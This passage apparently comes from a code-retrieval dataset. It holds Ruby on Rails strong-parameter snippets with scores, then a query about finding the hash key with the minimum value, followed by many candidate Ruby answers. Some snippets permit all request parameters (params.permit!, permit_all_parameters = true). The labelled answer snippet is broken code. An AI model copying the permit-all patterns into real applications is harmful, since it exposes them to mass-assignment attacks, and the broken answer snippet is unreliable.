strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
with this Object method we can obtain a hash named "hashinfo" with the gene information (from de Gene Classe) corresponding to the idmutant_gene we have in the StockData Class.
def gene_information(i) if $gene[i].geneid == $stockdata[i].idmutant_gene $hashinfo["#{$stockdata[i].stock}"] = $gene[i] end return $hashinfo end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def hash\n [_hash, name, owner].hash\n end", "def hash\n\n self.h.fei.hash\n end", "def hash\n data.hash\n end", "def hash\n\t\treturn self.name.to_s.hash\n\tend", "def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend", "def hash\r\n id.hash\r\n end", "def hash_id\n @hid\n end", "def hash\n self.atoms.hash\n end", "def hash\n\t\t[@id].hash\n\tend", "def hash\n value_id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n @hash.hash\n end", "def hash\n fullname.hash\n end", "def hash\n @hash\n end", "def hash\n @id.hash\n end", "def hash\n id.hash\n end", "def hash\n name.hash ^ provider.hash\n end", "def hash\n return @id.hash\n end", "def hash\n guid.hash\n end", "def hash\n [discriminator, name].hash\n end", "def hash\n id\n end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def hash\n name.hash\n end", "def hash\n name.hash\n end", "def hash\n self.class.name.hash\n end", "def hash\n [description, routing_number, account_number, account_type, signatory, metadata, id, signature_url, bank_name, verified, date_created, date_modified, deleted, object].hash\n end", "def hash\n @data[:asin].to_s.hash\n end", "def hash\n @id\n end", "def hash\n [id, parent_id, sku, upc, ean, mpn, gtin, sort_order, created_time, modified_time, name, short_description, full_description, images, combination, default_price, list_price, wholesale_price, advanced_price, tax_class_id, avail_for_sale, allow_backorders, in_stock, manage_stock, inventory_level, inventory, min_quantity, default_qty_in_pack, is_qty_in_pack_fixed, weight_unit, weight, dimensions_unit, width, height, length, additional_fields, custom_fields].hash\n end", "def hash\n @id\n end", "def hash\n [id, banco, agencia, conta_corrente, especie, numero_convenio, carteira, codigo_cedente, especie_tipo, especie_documento, aceite, instrucoes, local_pagamento1, local_pagamento2, endereco_cobranca_emissor, nome_beneficiario, cnpj_beneficiario, operador, data, maquina].hash\n end", "def hash\n [ data, type ].hash\n end", "def hash\n # We don't use metadata because == does not use metadata\n [event_type, event_id, data].hash ^ self.class.hash\n end", "def hash\n [id, company, charge_to_id, charge_to_type, type, member, payment_method, classification, amount, billable_option, date, location_id, business_unit_id, notes, agreement, invoice_amount, taxes, _info].hash\n end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end", "def hash\n\t\tvalue.hash\n\tend", "def hash\n [ref, from, to, chg, line, loc, min, sale, plsp, incl, pror, proadj, tran, serv, dbt, adj, adjm, disc, opt, prop, bill, cust, lfln, date, qty, glref].hash\n end", "def hash\n [author, created, icon, id, integration_id, is_favorite, is_read_only, is_shared, modified, popularity, tags, title, type, url].hash\n end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash\n [article_number, name, quantity, unit_price, discount_percent, vat_percent, unit, temporary_reference, row_number, merchant_data].hash\n end", "def hash\n @identifier.hash ^ \n (@latitude ? @latitude.numerator.hash ^ @latitude.denominator.hash : @latitude_numerator.hash ^ @latitude_denominator.hash) ^\n (@longitude ? @longitude.numerator.hash ^ @longitude.denominator.hash : @longitude_numerator.hash ^ @longitude_denominator.hash) ^\n @description.hash\n end", "def hash\n @name.hash\n end", "def hash\n [self.class, id].hash\n end", "def hash\n end", "def hash\n end", "def hash\n end", "def hash\n [class_id, object_type, accessibility_summary, creation_time, datastore_kind, datastore_status, dsconfig, free_capacity_in_bytes, host_mount_status, is_encrypted, last_access_time, last_modified_time, mount_summary, parent_uuid, site, total_capacity_in_bytes, un_compressed_used_bytes, unshared_used_bytes, uuid, data_protection_peer, src_cluster, tgt_cluster].hash\n end", "def hash\n { hash: @hash, hashType: @hash_type }\n end", "def hash\n @value.hash\n end", "def hash\n object_id\n end", "def hash\n [mcc, uf, id_antecipacao_simulada, id_conta, id_compra, id_tipo_transacao, quantidade_parcelas_antecipaveis, valor_parcela, data_hora_simulacao, taxa_antecipacao_ano, nome_estabelecimento, status, data_compra, tipo_origem_transacao, cidade, pais, latitude, longitude, id_grupo_mcc, descricao_grupo_mcc, id_produto, descricao_produto, descricao_estabelecimento, nome_fantasia_estabelecimento, detalhes].hash\n end", "def hash\n return @revision.hash if @revision\n return object_id\n end", "def hash\n shasum.hash\n end", "def hash\n shasum.hash\n end", "def hash\n shasum.hash\n end", "def hash\n @hash ||= self.to_a.hash\n end", "def hash\n members.hash\n end", "def hash\n @hash || @hash = (value.hash * -1)\n end", "def hash\n [dep_mgr_name, name, version, license].hash\n end", "def get_hash\n\t\thmodification = Hash.new\n\t\thmodification[:id] = hid\n\t\thmodification[:pred] = pred\n\t\thmodification[:obj] = obj.hid\n\t\thmodification\n\tend", "def hash\n\t\treturn [ self.class, self.dn ].hash\n\tend", "def hash\n [mti, stan, transmission_time, acquiring_institution_id, network_reference_id, forwarding_institution_id, transaction_token].hash\n end", "def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end", "def hash\n value.hash\n end", "def hash\n @__set.to_a.hash\n end", "def get_hash()\n return @@hash;\n end", "def unit_hash\n end", "def hash()\n #This is a stub, used for indexing\n end", "def hash\n [sequence_number, corporate_number, process, correct, update_date, change_date, name, name_image_id, kind, prefecture_name, city_name, street_number, address_image_id, prefecture_code, city_code, post_code, address_outside, address_outside_image_id, close_date, close_cause, successor_corporate_number, change_cause, assignment_date, latest, en_name, en_prefecture_name, en_city_name, en_address_outside, furigana, hihyoji].hash\n end", "def hash\n source_position.hash\n end", "def hash\r\n return to_s.hash\r\n end", "def __hash\n @hash\n end", "def hash\n node_id.hash\n end", "def hash\n [class_id, object_type, description, name, type, system].hash\n end" ]
[ "0.6465471", "0.6442642", "0.6309819", "0.62425673", "0.62281996", "0.6226559", "0.61924684", "0.61439884", "0.6132281", "0.61163396", "0.6110101", "0.610977", "0.610977", "0.610977", "0.610977", "0.610977", "0.610977", "0.610977", "0.610977", "0.610977", "0.6106149", "0.6090522", "0.6064683", "0.60637254", "0.60626245", "0.60535425", "0.60397226", "0.6036368", "0.60247546", "0.60117614", "0.60060817", "0.60060817", "0.5970729", "0.59700406", "0.59678036", "0.5964612", "0.59599495", "0.59545976", "0.5949181", "0.5936633", "0.59021527", "0.5901936", "0.5895373", "0.5885446", "0.58490515", "0.58490515", "0.58490515", "0.58490515", "0.58490515", "0.58490515", "0.58490515", "0.58490515", "0.58490515", "0.58490515", "0.58480155", "0.5847354", "0.58422536", "0.5841383", "0.5836381", "0.5836381", "0.5836381", "0.5836381", "0.5836381", "0.5836381", "0.5836381", "0.5831564", "0.58309287", "0.5826531", "0.5822573", "0.5815156", "0.5815156", "0.5815156", "0.5813832", "0.5796508", "0.5794486", "0.57939386", "0.5791403", "0.5780186", "0.57723266", "0.57723266", "0.57723266", "0.5767571", "0.575441", "0.5751087", "0.57507473", "0.5728199", "0.5713093", "0.5703457", "0.57027173", "0.57023185", "0.56943136", "0.56936365", "0.56925654", "0.56897783", "0.567369", "0.56730866", "0.5672326", "0.5663593", "0.56623966", "0.5660947" ]
0.81766635
0
Given a hash with numeric values, return the key for the smallest value
def key_for_min_value(name_hash) name_hash = {:chair => 25, :table => 85, :mattress => 450} name_hash.min do { |key_for_min_value| } puts "#{key_for_min_value}:" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "def key_for_min_value(hash)\n smallest_value = nil\n smallest_key = nil\n hash.each do |name, num|\n if smallest_value == nil || num < smallest_value\n smallest_value = num\n smallest_key = name\n end\n end\n smallest_key\nend", "def key_for_min_value(hash)\n min_val = Float::INFINITY\n min_key = nil\n hash.each do |key, value|\n if value < min_val\n min_val = value\n min_key = key\n end\n end\n min_key\nend", "def key_for_min_value(hash)\n \n min_val = Float::INFINITY\n min_key = nil\n hash.each do |k, v|\n if min_val > v\n min_val = v\n min_key = k\n end\n end\n return min_key\nend", "def key_for_min_value(hash)\n smallest_key = nil\n tiny_value = nil\n hash.each do |key, value|\n if tiny_value == nil || value < tiny_value\n tiny_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "def key_for_min_value(hash)\n smallest = nil\n key = nil\n hash.collect do |name, val|\n if smallest == nil || val < smallest\n smallest = val\n key = name\n end\n end\n key\nend", "def key_for_min_value(hash)\n int_hash = hash.select { |key, val| val.class == Fixnum }\n smallest = int_hash[int_hash.keys.sample]\n # debugger\n int_hash.each do |key, val|\n if val < smallest\n smallest = val \n end\n end\n int_hash.key(smallest)\nend", "def key_for_min_value(hash)\r\n smallest_key = nil\r\n tiniest_value = nil\r\n hash.each do |key, value|\r\n if tiniest_value == nil || value < tiniest_value\r\n tiniest_value = value\r\n smallest_key = key\r\n end\r\n end\r\n smallest_key\r\nend", "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = 0\n\n\n hash.each do |key,value|\n if lowest_value == 0 || value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "def key_for_min_value(hash)\n min = nil\n hash.each_pair do |key, value|\n min ||= value\n min = value if value < min\n end\n hash.key(min)\nend", "def key_for_min_value(hash)\n smallest = nil\n hash.each do |key, value|\n if smallest == nil\n smallest = key\n end\n if hash[key] < hash[smallest]\n smallest = key\n end\n end\n smallest\nend", "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "def key_for_min_value(hash)\n smallest_key = nil\n tiniest_value = nil\n hash.each do |key, value|\n if tiniest_value == nil || value < tiniest_value\n \n # this way, the smallest value in the hash so far always overwrites the existing tiniest value\n \n tiniest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "def key_for_min_value(hash)\n hash_key = nil\n hash_value = nil\n hash.each do |key, value|\n if hash_value == nil || value < hash_value\n hash_value = value\n hash_key = key\n end\n end\n hash_key\nend", "def key_for_min_value(hash)\n min_key = nil\n hash.each do |key, value|\n if min_key.nil?\n min_key = key\n elsif value < hash[min_key]\n min_key = key\n else\n next\n end\n end\n min_key\nend", "def key_for_min_value(hash)\n min_key = nil\n hash.each do |key, value|\n if min_key.nil?\n min_key = key\n elsif value < hash[min_key]\n min_key = key\n else\n next\n end\n end\n min_key\nend", "def key_for_min_value(hash)\n min = 99999999\n min_key = nil\n hash.select do |key, value|\n if value < min\n min = value\n min_key = key\n end\n end\n min_key\nend", "def key_for_min_value(hash)\n if hash.empty?\n return nil\n end\n ans = [hash.first[0],hash.first[1]]\n hash.each do |k,v|\n if v < ans[1]\n ans[1] = v\n ans[0] = k\n end\n end\n return ans[0]\nend", "def key_for_min_value(hash)\n key = nil\n lowest_value = nil\n hash.each do |name, value|\n if lowest_value == nil || value < lowest_value\n lowest_value = value\n key = name\n end\nend\nkey\nend", "def key_for_min_value(hash)\n hash_key = nil\n hash_value = nil\n hash.each do |a, b|\n if hash_value == nil || b < hash_value\n hash_value = b\n hash_key = a\n end\n end\n hash_key\nend", "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil \n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value \n lowest_value = value \n lowest_key = key \n end\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n lowestnum = 1000\n name_hash.each_value do |hashvalue|\n if hashvalue < lowestnum\n lowestnum = hashvalue\n end\n end\n name_hash.index(lowestnum)\nend", "def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_number = nil\n name_hash.each do |name, number|\n if lowest_number == nil || number < lowest_number\n lowest_number = number\n lowest_key = name\n end\n end\n lowest_key\nend", "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k,v|\n # first iteration\n ## this creates a starting point for comparison\n if lowest_value == nil || lowest_value > v\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n low = Float::INFINITY\n name_hash.each do |k,v|\n if v < low\n low = v\n end\n end\n name_hash.key(low)\nend", "def key_for_min_value(hash)\n small_key = nil\n small_value = nil\n \n hash.each do |key, value|\n if small_value == nil || value < small_value\n small_value = value\n small_key = key\n end\nend\nsmall_key\nend", "def key_for_min_value(hash)\n low_min = 1000\n min_key = nil\n hash.each do |key, value|\n if(low_min > value)\n low_min = value\n min_key = key\n end\nend\n min_key\nend", "def key_for_min_value(name_hash)\n lowest = nil\n key = nil\n if name_hash.length == 0\n return \n end\n \n name_hash.each do |name, number|\n if lowest == nil\n lowest = number\n end\n if key == nil\n key = name\n end\n if number < lowest\n lowest = number\n key = name\n end\n end\n key\nend", "def key_for_min_value(hash)\n least_value = nil \n least_key = nil\n hash.each do |a, b|\n if least_value == nil || b < least_value\n least_value = b\n least_key = a\n end\n end\n least_key\nend", "def key_for_min_value(name_hash)\n\tif name_hash == {}\n\t\tnil\n\tend\n\n\tsmallest_key = nil\n\tsmallest_value = nil\n\tname_hash.each do |key, value|\n\t\tif !smallest_value || value < smallest_value\n\t\t\tsmallest_key = key\n\t\t\tsmallest_value = value\n\t\tend\n\tend\n\tsmallest_key\nend", "def key_for_min_value(hash)\n i = 0\n lowest1 = :key\n lowest = 0\n if hash.empty? == true \n return nil\n end\n hash.each do |name, value|\n if i == 0\n lowest1 = name\n lowest = value\n i =+ 1\n end\n if value < lowest\n lowest1 = name\n lowest = value\n end\n if hash.empty? == true \n lowest1 = nil\n end\n end\n lowest1\nend", "def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n name_hash.each do |name, amount|\n if amount < lowest_value\n lowest_value = amount\n lowest_key = name\n end\n end\n lowest_key\n end", "def key_for_min_value(hash)\n lo_key = nil \n lo_value = nil \n hash.each do |k,v| \n if lo_key == nil || v < lo_value\n lo_key = k \n lo_value = v \n end \n end \n lo_key\n end", "def key_for_min_value(hash)\n\n lowest_key = nil \n lowest_value = nil \n \n hash.each do |key,value|\n if lowest_value == nil || lowest_value > value\n\n lowest_key = key\n lowest_value = value \n end \n \n end \n lowest_key\nend", "def key_for_min_value(name_hash)\n small_num = Float::INFINITY\n smallest_key = \"\"\n if name_hash.length == 0\n return nil\n end\n name_hash.each do |key, value|\n if value < small_num\n small_num = value\n smallest_key = key\n end\n end\nsmallest_key\nend", "def key_for_min_value(hash)\n value_only_array = []\n hash.each_pair do |key, value|\n value_only_array << value\n end\n value_only_array.sort!\n hash.key(value_only_array[0])\nend", "def key_for_min_value(hash)\n return nil if hash.empty?\n arr = hash.collect {|key, value| value}.sort\n hash.each {|key, value| return key if value == arr[0]}\nend", "def key_for_min_value(hash)\n array = []\n hash.each do |key, value|\n array << value\n end\n array.sort!\n hash.key(array[0])\nend", "def key_for_min_value(name_hash)\n lowest_key=nil\n lowest_value=Float::INFINITY\n name_hash.each{|key, value| \n if value<lowest_value\n lowest_value=value\n lowest_key=key\n end\n }\n lowest_key\nend", "def key_for_min_value(name_hash)\n empty_hash = nil\n lowest_value = 10000000000000000000000\n name_hash.collect do |name, value|\n if value < lowest_value\n lowest_value = value\n empty_hash = name\n end\n end\n empty_hash\nend", "def key_for_min_value(name_hash)\n lowest = \"\"\n lowest = nil if name_hash.empty?\n high_num = 100000000000000000\n name_hash.each do | key, value |\n lowest = key if value < high_num\n high_num = value if value < high_num\n end\n lowest\nend", "def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = nil\n name_hash.each do |name, num|\n if lowest_key == nil || num < lowest_value\n lowest_key = name\n lowest_value = num\n elsif name_hash == nil\n nil\n end\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n num = nil\n name_hash.collect do |key, value|\n if value < num\n num = value\n end\n end \n name_hash.key(num)\nend", "def key_for_min_value(name_hash)\n smallest_val = 0\n smallest_key = nil\n name_hash.each do|key, val|\n if smallest_val == 0 || val < smallest_val\n smallest_val = val\n smallest_key = key\n end\n end\n smallest_key\n\nend", "def key_for_min_value(name_hash)\n smallest_hash_key = nil\n name_hash.each do |key, val|\n if smallest_hash_key == nil\n smallest_hash_key = key\n next\n elsif val < name_hash[smallest_hash_key]\n smallest_hash_key = key\n end\n end\n smallest_hash_key\nend", "def key_for_min_value(hash)\n if hash.count < 2\n return hash[0]\n else \n num = 42\n hash.each do |key, value|\n if value <= num\n num = value\n end\n end\n hash.invert[num] \n end\nend", "def key_for_min_value(name_hash)\n return nil if name_hash.empty?\n lowest_number = name_hash.first[1];\n key_value = \"\"\n name_hash.each do |key, value|\n if value <= lowest_number\n lowest_number = value\n key_value = key\n end\n end\n key_value\nend", "def key_for_min_value(name_hash)\n current = 0\n lowest = 0\n lowest_key = nil\n name_hash.collect do |key, value|\n current = value\n if current < lowest || lowest == 0\n lowest = current\n lowest_key = key\n end\n\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n lowest_key = nil\n lowestvalue = 1000\n name_hash.each do |name, value|\n if value < lowestvalue\n lowest_key = name\n lowestvalue = value\n end\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n small_value = 10000000000\n small_key = nil\n name_hash.each do |k,v|\n if v < small_value\n small_value = v\n small_key = k\n end\n end\n small_key\nend", "def key_for_min_value(name_hash)\n low_key = nil\n low_value = nil\n name_hash.each do |k, v|\n if low_value == nil || v < low_value\n low_value = v\n low_key = k\n end\n end\n low_key\n end", "def key_for_min_value(hash)\n lowest_value = nil\n lowest_key = nil\n\n hash.each do |key, value|\n if lowest_value == nil # tell me if this makes sense\n lowest_value = value\n lowest_key = key\n elsif lowest_value > value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key #you want to return the key for min\nend", "def key_for_min_value(hash)\n \n if hash.empty?\n return nil\n end\n min_value=500\n min_key=:symbol\n \n hash.each do |key, value|\n if value<min_value\n min_value=value\n min_key=key\n end\n end\n return min_key\nend", "def key_for_min_value(name_hash)\n lowestKey = nil\n lowestValue = Float::INFINITY\n name_hash.each do |k, v|\n if v < lowestValue\n lowestValue = v\n lowestKey = k\n end\n end\n lowestKey\n\nend", "def key_for_min_value(name_hash)\n smallest_val = 0\n smallest_key = 0\n comp = nil\n name_hash.each do |key,val|\n comp = val\n if smallest_key == 0\n smallest_key = key\n smallest_val = val\n end \n if comp < smallest_val\n smallest_val = comp\n smallest_key = key\n end\n end\n if smallest_key == 0 \n return nil \n else\n return smallest_key\n end\nend", "def key_for_min_value(name_hash)\n lowest_key=nil\n lowest_val=0\n name_hash.collect do |key,value|\n if value<lowest_val or lowest_val==0\n lowest_key=key\n lowest_val=value\n end\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n smallest = nil\n this_num = 0\n previous_num = 1000000\n name_hash.collect { |item, qty|\n this_num = qty\n if this_num < previous_num\n smallest = item\n previous_num = this_num\n end\n }\n smallest\nend", "def key_for_min_value(name_hash)\n rkey = nil\n rvalue = 10000000000000000\n name_hash.each do |key, value|\n if value < rvalue\n rkey = key\n rvalue = value\n end\n end\n rkey\nend", "def key_for_min_value(name_hash)\n\tsmallest_value = nil\n\tassociated_key = nil \n\tname_hash.collect do |key, value|\n\t\tif smallest_value == nil || value < smallest_value\n\t\t\tsmallest_value = value \n\t\t\tassociated_key = key\n\t \tend\n\tend\n\tassociated_key\nend", "def key_for_min_value(hash)\n # binding.pry\n lowest_key = nil\n lowest_value = 0\n # binding.pry\n hash.each do |key, value|\n if lowest_key == nil || value < lowest_value\n # binding.pry\n lowest_value = value\n lowest_key = key\n # binding.pry\n end\n end\n lowest_key\nend", "def key_for_min_value(hash)\n hash.key(hash.values.min)\nend", "def key_for_min_value(hash)\n hash.key(hash.values.min)\nend", "def key_for_min_value(name_hash)\n smallest_value = 100\n name_hash.each do |key, value| \n if value < smallest_value\n smallest_value = value \n end \n end\n name_hash.key(smallest_value)\nend", "def key_for_min_value(name_hash)\n lowest=\"\"\n lowest=nil if name_hash.empty?\n tracker=100000000\n name_hash.each do |key,value|\n lowest=key if value<tracker\n tracker=value if value<tracker\n # if value<tracker\n end\n lowest\nend", "def key_for_min_value(name_hash)\n if name_hash.length == 0 \n nil\n else\n smallest_num = nil\n smallest_num_key = nil\n name_hash.collect do |key, value|\n if smallest_num == nil\n smallest_num = value\n smallest_num_key = key\n elsif smallest_num > value\n smallest_num = value\n smallest_num_key = key\n end\n end\n smallest_num_key\n end\n\nend", "def key_for_min_value(name_hash)\n low_key = nil\n low_value = nil\n 